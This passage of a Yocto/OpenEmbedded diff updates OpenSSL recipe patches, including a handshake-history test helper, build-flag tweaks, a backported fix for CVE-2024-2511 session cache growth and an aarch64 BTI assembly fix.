++ return enum_name(connect_phase_names, OSSL_NELEM(connect_phase_names),
++ (int)phase);
++}
++
++const char *handshake_status_name(handshake_status_t handshake_status)
++{
++ return enum_name(handshake_status_names, OSSL_NELEM(handshake_status_names),
++ (int)handshake_status);
++}
++
++const char *handshake_peer_status_name(peer_status_t peer_status)
++{
++ return enum_name(peer_status_names, OSSL_NELEM(peer_status_names),
++ (int)peer_status);
++}
++
++static void save_loop_history(HANDSHAKE_HISTORY *history,
++ connect_phase_t phase,
++ handshake_status_t handshake_status,
++ peer_status_t server_status,
++ peer_status_t client_status,
++ int client_turn_count,
++ int is_client_turn)
++{
++ HANDSHAKE_HISTORY_ENTRY *new_entry = NULL;
++
++ /*
++ * Create a new history entry for a handshake loop with statuses given in
++ * the arguments. Potentially evicting the oldest entry when the
++ * ring buffer is full.
++ */
++ ++(history->last_idx);
++ history->last_idx &= MAX_HANDSHAKE_HISTORY_ENTRY_IDX_MASK;
++
++ new_entry = &((history->entries)[history->last_idx]);
++ new_entry->phase = phase;
++ new_entry->handshake_status = handshake_status;
++ new_entry->server_status = server_status;
++ new_entry->client_status = client_status;
++ new_entry->client_turn_count = client_turn_count;
++ new_entry->is_client_turn = is_client_turn;
++
++ /* Evict the oldest handshake loop entry when the ring buffer is full. */
++ if (history->entry_count < MAX_HANDSHAKE_HISTORY_ENTRY) {
++ ++(history->entry_count);
++ }
++}
++
+ HANDSHAKE_RESULT *HANDSHAKE_RESULT_new(void)
+ {
+ HANDSHAKE_RESULT *ret;
+@@ -719,15 +815,6 @@ static void configure_handshake_ssl(SSL *server, SSL *client,
+ SSL_set_post_handshake_auth(client, 1);
+ }
+
+-/* The status for each connection phase. */
+-typedef enum {
+- PEER_SUCCESS,
+- PEER_RETRY,
+- PEER_ERROR,
+- PEER_WAITING,
+- PEER_TEST_FAILURE
+-} peer_status_t;
+-
+ /* An SSL object and associated read-write buffers. */
+ typedef struct peer_st {
+ SSL *ssl;
+@@ -1074,17 +1161,6 @@ static void do_shutdown_step(PEER *peer)
+ }
+ }
+
+-typedef enum {
+- HANDSHAKE,
+- RENEG_APPLICATION_DATA,
+- RENEG_SETUP,
+- RENEG_HANDSHAKE,
+- APPLICATION_DATA,
+- SHUTDOWN,
+- CONNECTION_DONE
+-} connect_phase_t;
+-
+-
+ static int renegotiate_op(const SSL_TEST_CTX *test_ctx)
+ {
+ switch (test_ctx->handshake_mode) {
+@@ -1162,19 +1238,6 @@ static void do_connect_step(const SSL_TEST_CTX *test_ctx, PEER *peer,
+ }
+ }
+
+-typedef enum {
+- /* Both parties succeeded. */
+- HANDSHAKE_SUCCESS,
+- /* Client errored. */
+- CLIENT_ERROR,
+- /* Server errored. */
+- SERVER_ERROR,
+- /* Peers are in inconsistent state. */
+- INTERNAL_ERROR,
+- /* One or both peers not done. */
+- HANDSHAKE_RETRY
+-} handshake_status_t;
+-
+ /*
+ * Determine the handshake outcome.
+ * last_status: the status of the peer to have acted last.
+@@ -1539,6 +1602,10 @@ static HANDSHAKE_RESULT *do_handshake_internal(
+
+ start = time(NULL);
+
++ save_loop_history(&(ret->history),
++ phase, status, server.status, client.status,
++ client_turn_count, client_turn);
++
+ /*
+ * Half-duplex handshake loop.
+ * Client and server speak to each other synchronously in the same process.
+@@ -1560,6 +1627,10 @@ static HANDSHAKE_RESULT *do_handshake_internal(
+ 0 /* server went last */);
+ }
+
++ save_loop_history(&(ret->history),
++ phase, status, server.status, client.status,
++ client_turn_count, client_turn);
++
+ switch (status) {
+ case HANDSHAKE_SUCCESS:
+ client_turn_count = 0;
+diff --git a/test/helpers/handshake.h b/test/helpers/handshake.h
+index 78b03f9f4b..b9967c2623 100644
+--- a/test/helpers/handshake.h
++++ b/test/helpers/handshake.h
+@@ -1,5 +1,5 @@
+ /*
+- * Copyright 2016-2021 The OpenSSL Project Authors. All Rights Reserved.
++ * Copyright 2016-2023 The OpenSSL Project Authors. All Rights Reserved.
+ *
+ * Licensed under the Apache License 2.0 (the "License"). You may not use
+ * this file except in compliance with the License. You can obtain a copy
+@@ -12,6 +12,11 @@
+
+ #include "ssl_test_ctx.h"
+
++#define MAX_HANDSHAKE_HISTORY_ENTRY_BIT 4
++#define MAX_HANDSHAKE_HISTORY_ENTRY (1 << MAX_HANDSHAKE_HISTORY_ENTRY_BIT)
++#define MAX_HANDSHAKE_HISTORY_ENTRY_IDX_MASK \
++ ((1 << MAX_HANDSHAKE_HISTORY_ENTRY_BIT) - 1)
++
+ typedef struct ctx_data_st {
+ unsigned char *npn_protocols;
+ size_t npn_protocols_len;
+@@ -22,6 +27,63 @@ typedef struct ctx_data_st {
+ char *session_ticket_app_data;
+ } CTX_DATA;
+
++typedef enum {
++ HANDSHAKE,
++ RENEG_APPLICATION_DATA,
++ RENEG_SETUP,
++ RENEG_HANDSHAKE,
++ APPLICATION_DATA,
++ SHUTDOWN,
++ CONNECTION_DONE
++} connect_phase_t;
++
++/* The status for each connection phase. */
++typedef enum {
++ PEER_SUCCESS,
++ PEER_RETRY,
++ PEER_ERROR,
++ PEER_WAITING,
++ PEER_TEST_FAILURE
++} peer_status_t;
++
++typedef enum {
++ /* Both parties succeeded. */
++ HANDSHAKE_SUCCESS,
++ /* Client errored. */
++ CLIENT_ERROR,
++ /* Server errored. */
++ SERVER_ERROR,
++ /* Peers are in inconsistent state. */
++ INTERNAL_ERROR,
++ /* One or both peers not done. */
++ HANDSHAKE_RETRY
++} handshake_status_t;
++
++/* Stores the various status information in a handshake loop. */
++typedef struct handshake_history_entry_st {
++ connect_phase_t phase;
++ handshake_status_t handshake_status;
++ peer_status_t server_status;
++ peer_status_t client_status;
++ int client_turn_count;
++ int is_client_turn;
++} HANDSHAKE_HISTORY_ENTRY;
++
++typedef struct handshake_history_st {
++ /* Implemented using ring buffer. */
++ /*
++ * The valid entries are |entries[last_idx]|, |entries[last_idx-1]|,
++ * ..., etc., going up to |entry_count| number of entries. Note that when
++ * the index into the array |entries| becomes < 0, we wrap around to
++ * the end of |entries|.
++ */
++ HANDSHAKE_HISTORY_ENTRY entries[MAX_HANDSHAKE_HISTORY_ENTRY];
++ /* The number of valid entries in |entries| array. */
++ size_t entry_count;
++ /* The index of the last valid entry in the |entries| array. */
++ size_t last_idx;
++} HANDSHAKE_HISTORY;
++
+ typedef struct handshake_result {
+ ssl_test_result_t result;
+ /* These alerts are in the 2-byte format returned by the info_callback. */
+@@ -77,6 +139,8 @@ typedef struct handshake_result {
+ char *cipher;
+ /* session ticket application data */
+ char *result_session_ticket_app_data;
++ /* handshake loop history */
++ HANDSHAKE_HISTORY history;
+ } HANDSHAKE_RESULT;
+
+ HANDSHAKE_RESULT *HANDSHAKE_RESULT_new(void);
+@@ -95,4 +159,8 @@ int configure_handshake_ctx_for_srp(SSL_CTX *server_ctx, SSL_CTX *server2_ctx,
+ CTX_DATA *server2_ctx_data,
+ CTX_DATA *client_ctx_data);
+
++const char *handshake_connect_phase_name(connect_phase_t phase);
++const char *handshake_status_name(handshake_status_t handshake_status);
++const char *handshake_peer_status_name(peer_status_t peer_status);
++
+ #endif /* OSSL_TEST_HANDSHAKE_HELPER_H */
+diff --git a/test/ssl_test.c b/test/ssl_test.c
+index ea608518f9..9d6b093c81 100644
+--- a/test/ssl_test.c
++++ b/test/ssl_test.c
+@@ -26,6 +26,44 @@ static OSSL_LIB_CTX *libctx = NULL;
+ /* Currently the section names are of the form test-<number>, e.g. test-15. */
+ #define MAX_TESTCASE_NAME_LENGTH 100
+
++static void print_handshake_history(const HANDSHAKE_HISTORY *history)
++{
++ size_t first_idx;
++ size_t i;
++ size_t cur_idx;
++ const HANDSHAKE_HISTORY_ENTRY *cur_entry;
++ const char header_template[] = "|%14s|%16s|%16s|%16s|%17s|%14s|";
++ const char body_template[] = "|%14s|%16s|%16s|%16s|%17d|%14s|";
++
++ TEST_info("The following is the server/client state "
++ "in the most recent %d handshake loops.",
++ MAX_HANDSHAKE_HISTORY_ENTRY);
++
++ TEST_note("=================================================="
++ "==================================================");
++ TEST_note(header_template,
++ "phase", "handshake status", "server status",
++ "client status", "client turn count", "is client turn");
++ TEST_note("+--------------+----------------+----------------"
++ "+----------------+-----------------+--------------+");
++
++ first_idx = (history->last_idx - history->entry_count + 1) &
++ MAX_HANDSHAKE_HISTORY_ENTRY_IDX_MASK;
++ for (i = 0; i < history->entry_count; ++i) {
++ cur_idx = (first_idx + i) & MAX_HANDSHAKE_HISTORY_ENTRY_IDX_MASK;
++ cur_entry = &(history->entries)[cur_idx];
++ TEST_note(body_template,
++ handshake_connect_phase_name(cur_entry->phase),
++ handshake_status_name(cur_entry->handshake_status),
++ handshake_peer_status_name(cur_entry->server_status),
++ handshake_peer_status_name(cur_entry->client_status),
++ cur_entry->client_turn_count,
++ cur_entry->is_client_turn ? "true" : "false");
++ }
++ TEST_note("=================================================="
++ "==================================================");
++}
++
+ static const char *print_alert(int alert)
+ {
+ return alert ? SSL_alert_desc_string_long(alert) : "no alert";
+@@ -388,6 +426,12 @@ static int check_test(HANDSHAKE_RESULT *result, SSL_TEST_CTX *test_ctx)
+ ret &= check_client_sign_type(result, test_ctx);
+ ret &= check_client_ca_names(result, test_ctx);
+ }
++
++ /* Print handshake loop history if any check fails. */
++ if (!ret) {
++ print_handshake_history(&(result->history));
++ }
++
+ return ret;
+ }
+
+--
+2.25.1
+
diff --git a/meta/recipes-connectivity/openssl/openssl/0001-Configure-do-not-tweak-mips-cflags.patch b/meta/recipes-connectivity/openssl/openssl/0001-Configure-do-not-tweak-mips-cflags.patch
new file mode 100644
index 0000000000..502a7aaf32
--- /dev/null
+++ b/meta/recipes-connectivity/openssl/openssl/0001-Configure-do-not-tweak-mips-cflags.patch
@@ -0,0 +1,39 @@
+From 0377f0d5b5c1079e3b9a80881f4dcc891cbe9f9a Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Tue, 30 May 2023 09:11:27 -0700
+Subject: [PATCH] Configure: do not tweak mips cflags
+
+This conflicts with mips machine definitons from yocto,
+e.g.
+| Error: -mips3 conflicts with the other architecture options, which imply -mips64r2
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+
+Refreshed for openssl-3.1.1
+Signed-off-by: Tim Orling <tim.orling@konsulko.com>
+---
+ Configure | 10 ----------
+ 1 file changed, 10 deletions(-)
+
+diff --git a/Configure b/Configure
+index 4569952..adf019b 100755
+--- a/Configure
++++ b/Configure
+@@ -1422,16 +1422,6 @@ if ($target =~ /^mingw/ && `$config{CC} --target-help 2>&1` =~ m/-mno-cygwin/m)
+ push @{$config{shared_ldflag}}, "-mno-cygwin";
+ }
+
+-if ($target =~ /linux.*-mips/ && !$disabled{asm}
+- && !grep { $_ =~ /-m(ips|arch=)/ } (@{$config{CFLAGS}})) {
+- # minimally required architecture flags for assembly modules
+- my $value;
+- $value = '-mips2' if ($target =~ /mips32/);
+- $value = '-mips3' if ($target =~ /mips64/);
+- unshift @{$config{cflags}}, $value;
+- unshift @{$config{cxxflags}}, $value if $config{CXX};
+-}
+-
+ # If threads aren't disabled, check how possible they are
+ unless ($disabled{threads}) {
+ if ($auto_threads) {
diff --git a/meta/recipes-connectivity/openssl/openssl/0001-buildinfo-strip-sysroot-and-debug-prefix-map-from-co.patch b/meta/recipes-connectivity/openssl/openssl/0001-buildinfo-strip-sysroot-and-debug-prefix-map-from-co.patch
index 949c788344..bafdbaa46f 100644
--- a/meta/recipes-connectivity/openssl/openssl/0001-buildinfo-strip-sysroot-and-debug-prefix-map-from-co.patch
+++ b/meta/recipes-connectivity/openssl/openssl/0001-buildinfo-strip-sysroot-and-debug-prefix-map-from-co.patch
@@ -1,4 +1,4 @@
-From 3e1d00481093e10775eaf69d619c45b32a4aa7dc Mon Sep 17 00:00:00 2001
+From 5985253f2c9025d7c127443a3a9938946f80c2a1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Martin=20Hundeb=C3=B8ll?= <martin@geanix.com>
Date: Tue, 6 Nov 2018 14:50:47 +0100
Subject: [PATCH] buildinfo: strip sysroot and debug-prefix-map from compiler
@@ -21,20 +21,24 @@ https://patchwork.openembedded.org/patch/147229/
Upstream-Status: Inappropriate [OE specific]
Signed-off-by: Martin Hundebøll <martin@geanix.com>
-
Update to fix buildpaths qa issue for '-fmacro-prefix-map'.
Signed-off-by: Kai Kang <kai.kang@windriver.com>
+
+Update to fix buildpaths qa issue for '-ffile-prefix-map'.
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
---
- Configurations/unix-Makefile.tmpl | 10 +++++++++-
+ Configurations/unix-Makefile.tmpl | 12 +++++++++++-
crypto/build.info | 2 +-
- 2 files changed, 10 insertions(+), 2 deletions(-)
+ 2 files changed, 12 insertions(+), 2 deletions(-)
-diff --git a/Configurations/unix-Makefile.tmpl b/Configurations/unix-Makefile.tmpl
-index 16af4d2087..54c162784c 100644
---- a/Configurations/unix-Makefile.tmpl
-+++ b/Configurations/unix-Makefile.tmpl
-@@ -317,13 +317,22 @@ BIN_LDFLAGS={- join(' ', $target{bin_lflags} || (),
+Index: openssl-3.0.4/Configurations/unix-Makefile.tmpl
+===================================================================
+--- openssl-3.0.4.orig/Configurations/unix-Makefile.tmpl
++++ openssl-3.0.4/Configurations/unix-Makefile.tmpl
+@@ -472,13 +472,23 @@ BIN_LDFLAGS={- join(' ', $target{bin_lfl
'$(CNF_LDFLAGS)', '$(LDFLAGS)') -}
BIN_EX_LIBS=$(CNF_EX_LIBS) $(EX_LIBS)
@@ -49,6 +53,7 @@ index 16af4d2087..54c162784c 100644
+CFLAGS_Q={- for (@{$config{CFLAGS}}) {
+ s|-fdebug-prefix-map=[^ ]+|-fdebug-prefix-map=|g;
+ s|-fmacro-prefix-map=[^ ]+|-fmacro-prefix-map=|g;
++ s|-ffile-prefix-map=[^ ]+|-ffile-prefix-map=|g;
+ }
+ join(' ', @{$config{CFLAGS}}) -}
+
@@ -58,19 +63,16 @@ index 16af4d2087..54c162784c 100644
PERLASM_SCHEME= {- $target{perlasm_scheme} -}
# For x86 assembler: Set PROCESSOR to 386 if you want to support
-diff --git a/crypto/build.info b/crypto/build.info
-index b515b7318e..8c9cee2a09 100644
---- a/crypto/build.info
-+++ b/crypto/build.info
-@@ -10,7 +10,7 @@ EXTRA= ../ms/uplink-x86.pl ../ms/uplink.c ../ms/applink.c \
- ppccpuid.pl pariscid.pl alphacpuid.pl arm64cpuid.pl armv4cpuid.pl
+Index: openssl-3.0.4/crypto/build.info
+===================================================================
+--- openssl-3.0.4.orig/crypto/build.info
++++ openssl-3.0.4/crypto/build.info
+@@ -109,7 +109,7 @@ DEFINE[../libcrypto]=$UPLINKDEF
+ DEPEND[info.o]=buildinf.h
DEPEND[cversion.o]=buildinf.h
-GENERATE[buildinf.h]=../util/mkbuildinf.pl "$(CC) $(LIB_CFLAGS) $(CPPFLAGS_Q)" "$(PLATFORM)"
+GENERATE[buildinf.h]=../util/mkbuildinf.pl "$(CC_Q) $(CFLAGS_Q) $(CPPFLAGS_Q)" "$(PLATFORM)"
- DEPEND[buildinf.h]=../configdata.pm
- GENERATE[uplink-x86.s]=../ms/uplink-x86.pl $(PERLASM_SCHEME)
---
-2.19.1
-
+ GENERATE[uplink-x86.S]=../ms/uplink-x86.pl
+ GENERATE[uplink-x86_64.s]=../ms/uplink-x86_64.pl
diff --git a/meta/recipes-connectivity/openssl/openssl/0001-skip-test_symbol_presence.patch b/meta/recipes-connectivity/openssl/openssl/0001-skip-test_symbol_presence.patch
deleted file mode 100644
index d8d9651b64..0000000000
--- a/meta/recipes-connectivity/openssl/openssl/0001-skip-test_symbol_presence.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From a9401b2289656c5a36dd1b0ecebf0d23e291ce70 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Tue, 2 Oct 2018 23:58:24 +0800
-Subject: [PATCH] skip test_symbol_presence
-
-We cannot skip `01-test_symbol_presence.t' by configuring option `no-shared'
-as INSTALL told us the shared libraries will not be built.
-
-[INSTALL snip]
- Notes on shared libraries
- -------------------------
-
- For most systems the OpenSSL Configure script knows what is needed to
- build shared libraries for libcrypto and libssl. On these systems
- the shared libraries will be created by default. This can be suppressed and
- only static libraries created by using the "no-shared" option. On systems
- where OpenSSL does not know how to build shared libraries the "no-shared"
- option will be forced and only static libraries will be created.
-[INSTALL snip]
-
-Hence directly modification the case to skip it.
-
-Upstream-Status: Inappropriate [OE Specific]
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- test/recipes/01-test_symbol_presence.t | 3 +--
- 1 file changed, 1 insertion(+), 2 deletions(-)
-
-diff --git a/test/recipes/01-test_symbol_presence.t b/test/recipes/01-test_symbol_presence.t
-index 7f2a2d7..0b93745 100644
---- a/test/recipes/01-test_symbol_presence.t
-+++ b/test/recipes/01-test_symbol_presence.t
-@@ -14,8 +14,7 @@ use OpenSSL::Test::Utils;
-
- setup("test_symbol_presence");
-
--plan skip_all => "Only useful when building shared libraries"
-- if disabled("shared");
-+plan skip_all => "The case needs debug symbols then we just disable it";
-
- my @libnames = ("crypto", "ssl");
- my $testcount = scalar @libnames;
---
-2.7.4
-
diff --git a/meta/recipes-connectivity/openssl/openssl/CVE-2024-2511.patch b/meta/recipes-connectivity/openssl/openssl/CVE-2024-2511.patch
new file mode 100644
index 0000000000..8772f716d5
--- /dev/null
+++ b/meta/recipes-connectivity/openssl/openssl/CVE-2024-2511.patch
@@ -0,0 +1,120 @@
+From e9d7083e241670332e0443da0f0d4ffb52829f08 Mon Sep 17 00:00:00 2001
+From: Matt Caswell <matt@openssl.org>
+Date: Tue, 5 Mar 2024 15:43:53 +0000
+Subject: [PATCH] Fix unconstrained session cache growth in TLSv1.3
+
+In TLSv1.3 we create a new session object for each ticket that we send.
+We do this by duplicating the original session. If SSL_OP_NO_TICKET is in
+use then the new session will be added to the session cache. However, if
+early data is not in use (and therefore anti-replay protection is being
+used), then multiple threads could be resuming from the same session
+simultaneously. If this happens and a problem occurs on one of the threads,
+then the original session object could be marked as not_resumable. When we
+duplicate the session object this not_resumable status gets copied into the
+new session object. The new session object is then added to the session
+cache even though it is not_resumable.
+
+Subsequently, another bug means that the session_id_length is set to 0 for
+sessions that are marked as not_resumable - even though that session is
+still in the cache. Once this happens the session can never be removed from
+the cache. When that object gets to be the session cache tail object the
+cache never shrinks again and grows indefinitely.
+
+CVE-2024-2511
+
+Reviewed-by: Neil Horman <nhorman@openssl.org>
+Reviewed-by: Tomas Mraz <tomas@openssl.org>
+(Merged from https://github.com/openssl/openssl/pull/24043)
+
+CVE: CVE-2024-2511
+Upstream-Status: Backport [https://github.com/openssl/openssl/commit/e9d7083e241670332e0443da0f0d4ffb52829f08]
+Signed-off-by: Peter Marko <peter.marko@siemens.com>
+---
+ ssl/ssl_lib.c | 5 +++--
+ ssl/ssl_sess.c | 28 ++++++++++++++++++++++------
+ ssl/statem/statem_srvr.c | 5 ++---
+ 3 files changed, 27 insertions(+), 11 deletions(-)
+
+diff --git a/ssl/ssl_lib.c b/ssl/ssl_lib.c
+index 4afb43bc86e54..c51529ddab5bb 100644
+--- a/ssl/ssl_lib.c
++++ b/ssl/ssl_lib.c
+@@ -4457,9 +4457,10 @@ void ssl_update_cache(SSL_CONNECTION *s, int mode)
+
+ /*
+ * If the session_id_length is 0, we are not supposed to cache it, and it
+- * would be rather hard to do anyway :-)
++ * would be rather hard to do anyway :-). Also if the session has already
++ * been marked as not_resumable we should not cache it for later reuse.
+ */
+- if (s->session->session_id_length == 0)
++ if (s->session->session_id_length == 0 || s->session->not_resumable)
+ return;
+
+ /*
+diff --git a/ssl/ssl_sess.c b/ssl/ssl_sess.c
+index 3dcc4d81e5bc6..1fa6d17c46863 100644
+--- a/ssl/ssl_sess.c
++++ b/ssl/ssl_sess.c
+@@ -127,16 +127,11 @@ SSL_SESSION *SSL_SESSION_new(void)
+ return ss;
+ }
+
+-SSL_SESSION *SSL_SESSION_dup(const SSL_SESSION *src)
+-{
+- return ssl_session_dup(src, 1);
+-}
+-
+ /*
+ * Create a new SSL_SESSION and duplicate the contents of |src| into it. If
+ * ticket == 0 then no ticket information is duplicated, otherwise it is.
+ */
+-SSL_SESSION *ssl_session_dup(const SSL_SESSION *src, int ticket)
++static SSL_SESSION *ssl_session_dup_intern(const SSL_SESSION *src, int ticket)
+ {
+ SSL_SESSION *dest;
+
+@@ -265,6 +260,27 @@ SSL_SESSION *ssl_session_dup(const SSL_SESSION *src, int ticket)
+ return NULL;
+ }
+
++SSL_SESSION *SSL_SESSION_dup(const SSL_SESSION *src)
++{
++ return ssl_session_dup_intern(src, 1);
++}
++
++/*
++ * Used internally when duplicating a session which might be already shared.
++ * We will have resumed the original session. Subsequently we might have marked
++ * it as non-resumable (e.g. in another thread) - but this copy should be ok to
++ * resume from.
++ */
++SSL_SESSION *ssl_session_dup(const SSL_SESSION *src, int ticket)
++{
++ SSL_SESSION *sess = ssl_session_dup_intern(src, ticket);
++
++ if (sess != NULL)
++ sess->not_resumable = 0;
++
++ return sess;
++}
++
+ const unsigned char *SSL_SESSION_get_id(const SSL_SESSION *s, unsigned int *len)
+ {
+ if (len)
+diff --git a/ssl/statem/statem_srvr.c b/ssl/statem/statem_srvr.c
+index 853af8c0aa9f9..d5f0ab091dacc 100644
+--- a/ssl/statem/statem_srvr.c
++++ b/ssl/statem/statem_srvr.c
+@@ -2445,9 +2445,8 @@ CON_FUNC_RETURN tls_construct_server_hello(SSL_CONNECTION *s, WPACKET *pkt)
+ * so the following won't overwrite an ID that we're supposed
+ * to send back.
+ */
+- if (s->session->not_resumable ||
+- (!(SSL_CONNECTION_GET_CTX(s)->session_cache_mode & SSL_SESS_CACHE_SERVER)
+- && !s->hit))
++ if (!(SSL_CONNECTION_GET_CTX(s)->session_cache_mode & SSL_SESS_CACHE_SERVER)
++ && !s->hit)
+ s->session->session_id_length = 0;
+
+ if (usetls13) {
diff --git a/meta/recipes-connectivity/openssl/openssl/afalg.patch b/meta/recipes-connectivity/openssl/openssl/afalg.patch
deleted file mode 100644
index b7c0e9697f..0000000000
--- a/meta/recipes-connectivity/openssl/openssl/afalg.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-Don't refuse to build afalgeng if cross-compiling or the host kernel is too old.
-
-Upstream-Status: Submitted [hhttps://github.com/openssl/openssl/pull/7688]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-diff --git a/Configure b/Configure
-index 3baa8ce..9ef52ed 100755
---- a/Configure
-+++ b/Configure
-@@ -1550,20 +1550,7 @@ unless ($disabled{"crypto-mdebug-backtrace"})
- unless ($disabled{afalgeng}) {
- $config{afalgeng}="";
- if (grep { $_ eq 'afalgeng' } @{$target{enable}}) {
-- my $minver = 4*10000 + 1*100 + 0;
-- if ($config{CROSS_COMPILE} eq "") {
-- my $verstr = `uname -r`;
-- my ($ma, $mi1, $mi2) = split("\\.", $verstr);
-- ($mi2) = $mi2 =~ /(\d+)/;
-- my $ver = $ma*10000 + $mi1*100 + $mi2;
-- if ($ver < $minver) {
-- disable('too-old-kernel', 'afalgeng');
-- } else {
-- push @{$config{engdirs}}, "afalg";
-- }
-- } else {
-- disable('cross-compiling', 'afalgeng');
-- }
-+ push @{$config{engdirs}}, "afalg";
- } else {
- disable('not-linux', 'afalgeng');
- }
diff --git a/meta/recipes-connectivity/openssl/openssl/bti.patch b/meta/recipes-connectivity/openssl/openssl/bti.patch
new file mode 100644
index 0000000000..748576c30c
--- /dev/null
+++ b/meta/recipes-connectivity/openssl/openssl/bti.patch
@@ -0,0 +1,58 @@
+From ba8a599395f8b770c76316b5f5b0f3838567014f Mon Sep 17 00:00:00 2001
+From: Tom Cosgrove <tom.cosgrove@arm.com>
+Date: Tue, 26 Mar 2024 13:18:00 +0000
+Subject: [PATCH] aarch64: fix BTI in bsaes assembly code
+
+In Arm systems where BTI is enabled but the Crypto extensions are not (more
+likely in FVPs than in real hardware), the bit-sliced assembler code will
+be used. However, this wasn't annotated with BTI instructions when BTI was
+enabled, so the moment libssl jumps into this code it (correctly) aborts.
+
+Solve this by adding the missing BTI landing pads.
+
+Upstream-Status: Submitted [https://github.com/openssl/openssl/pull/23982]
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+---
+ crypto/aes/asm/bsaes-armv8.pl | 5 ++++-
+ 1 file changed, 4 insertions(+), 1 deletion(-)
+
+diff --git a/crypto/aes/asm/bsaes-armv8.pl b/crypto/aes/asm/bsaes-armv8.pl
+index b3c97e439f..c3c5ff3e05 100644
+--- a/crypto/aes/asm/bsaes-armv8.pl
++++ b/crypto/aes/asm/bsaes-armv8.pl
+@@ -1018,6 +1018,7 @@ _bsaes_key_convert:
+ // Initialisation vector overwritten with last quadword of ciphertext
+ // No output registers, usual AAPCS64 register preservation
+ ossl_bsaes_cbc_encrypt:
++ AARCH64_VALID_CALL_TARGET
+ cmp x2, #128
+ bhs .Lcbc_do_bsaes
+ b AES_cbc_encrypt
+@@ -1270,7 +1271,7 @@ ossl_bsaes_cbc_encrypt:
+ // Output text filled in
+ // No output registers, usual AAPCS64 register preservation
+ ossl_bsaes_ctr32_encrypt_blocks:
+-
++ AARCH64_VALID_CALL_TARGET
+ cmp x2, #8 // use plain AES for
+ blo .Lctr_enc_short // small sizes
+
+@@ -1476,6 +1477,7 @@ ossl_bsaes_ctr32_encrypt_blocks:
+ // Output ciphertext filled in
+ // No output registers, usual AAPCS64 register preservation
+ ossl_bsaes_xts_encrypt:
++ AARCH64_VALID_CALL_TARGET
+ // Stack layout:
+ // sp ->
+ // nrounds*128-96 bytes: key schedule
+@@ -1921,6 +1923,7 @@ ossl_bsaes_xts_encrypt:
+ // Output plaintext filled in
+ // No output registers, usual AAPCS64 register preservation
+ ossl_bsaes_xts_decrypt:
++ AARCH64_VALID_CALL_TARGET
+ // Stack layout:
+ // sp ->
+ // nrounds*128-96 bytes: key schedule
+--
+2.34.1
+
diff --git a/meta/recipes-connectivity/openssl/openssl/reproducible.patch b/meta/recipes-connectivity/openssl/openssl/reproducible.patch
deleted file mode 100644
index a24260c95d..0000000000
--- a/meta/recipes-connectivity/openssl/openssl/reproducible.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-The value for perl_archname can vary depending on the host, e.g.
-x86_64-linux-gnu-thread-multi or x86_64-linux-thread-multi which
-makes the ptest package non-reproducible. Its unused other than
-these references so drop it.
-
-RP 2020/2/6
-
-Upstream-Status: Pending
-Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
-
-Index: openssl-1.1.1d/Configure
-===================================================================
---- openssl-1.1.1d.orig/Configure
-+++ openssl-1.1.1d/Configure
-@@ -286,7 +286,7 @@ if (defined env($local_config_envname))
- # Save away perl command information
- $config{perl_cmd} = $^X;
- $config{perl_version} = $Config{version};
--$config{perl_archname} = $Config{archname};
-+#$config{perl_archname} = $Config{archname};
-
- $config{prefix}="";
- $config{openssldir}="";
-@@ -2517,7 +2517,7 @@ _____
- @{$config{perlargv}}), "\n";
- print "\nPerl information:\n\n";
- print ' ',$config{perl_cmd},"\n";
-- print ' ',$config{perl_version},' for ',$config{perl_archname},"\n";
-+ print ' ',$config{perl_version},"\n";
- }
- if ($dump || $options) {
- my $longest = 0;
diff --git a/meta/recipes-connectivity/openssl/openssl/run-ptest b/meta/recipes-connectivity/openssl/openssl/run-ptest
index 3fb22471f8..c89ec5afa1 100644
--- a/meta/recipes-connectivity/openssl/openssl/run-ptest
+++ b/meta/recipes-connectivity/openssl/openssl/run-ptest
@@ -9,4 +9,4 @@ export TOP=.
# OPENSSL_ENGINES is relative from the test binaries
export OPENSSL_ENGINES=../engines
-perl ./test/run_tests.pl $* | perl -0pe 's#(.*) \.*.ok#PASS: \1#g; s#(.*) \.*.skipped: (.*)#SKIP: \1 (\2)#g; s#(.*) \.*.\nDubious#FAIL: \1#;'
+{ HARNESS_JOBS=4 perl ./test/run_tests.pl $* || echo "FAIL: openssl" ; } | sed -u -r -e '/(.*) \.*.ok/ s/^/PASS: /g' -r -e '/Dubious(.*)/ s/^/FAIL: /g' -e '/(.*) \.*.skipped: (.*)/ s/^/SKIP: /g'
diff --git a/meta/recipes-connectivity/openssl/openssl_1.1.1g.bb b/meta/recipes-connectivity/openssl/openssl_1.1.1g.bb
deleted file mode 100644
index 815955837b..0000000000
--- a/meta/recipes-connectivity/openssl/openssl_1.1.1g.bb
+++ /dev/null
@@ -1,215 +0,0 @@
-SUMMARY = "Secure Socket Layer"
-DESCRIPTION = "Secure Socket Layer (SSL) binary and related cryptographic tools."
-HOMEPAGE = "http://www.openssl.org/"
-BUGTRACKER = "http://www.openssl.org/news/vulnerabilities.html"
-SECTION = "libs/network"
-
-# "openssl" here actually means both OpenSSL and SSLeay licenses apply
-# (see meta/files/common-licenses/OpenSSL to which "openssl" is SPDXLICENSEMAPped)
-LICENSE = "openssl"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=d343e62fc9c833710bbbed25f27364c8"
-
-DEPENDS = "hostperl-runtime-native"
-
-SRC_URI = "http://www.openssl.org/source/openssl-${PV}.tar.gz \
- file://run-ptest \
- file://0001-skip-test_symbol_presence.patch \
- file://0001-buildinfo-strip-sysroot-and-debug-prefix-map-from-co.patch \
- file://afalg.patch \
- file://reproducible.patch \
- "
-
-SRC_URI_append_class-nativesdk = " \
- file://environment.d-openssl.sh \
- "
-
-SRC_URI[sha256sum] = "ddb04774f1e32f0c49751e21b67216ac87852ceb056b75209af2443400636d46"
-
-inherit lib_package multilib_header multilib_script ptest
-MULTILIB_SCRIPTS = "${PN}-bin:${bindir}/c_rehash"
-
-PACKAGECONFIG ?= ""
-PACKAGECONFIG_class-native = ""
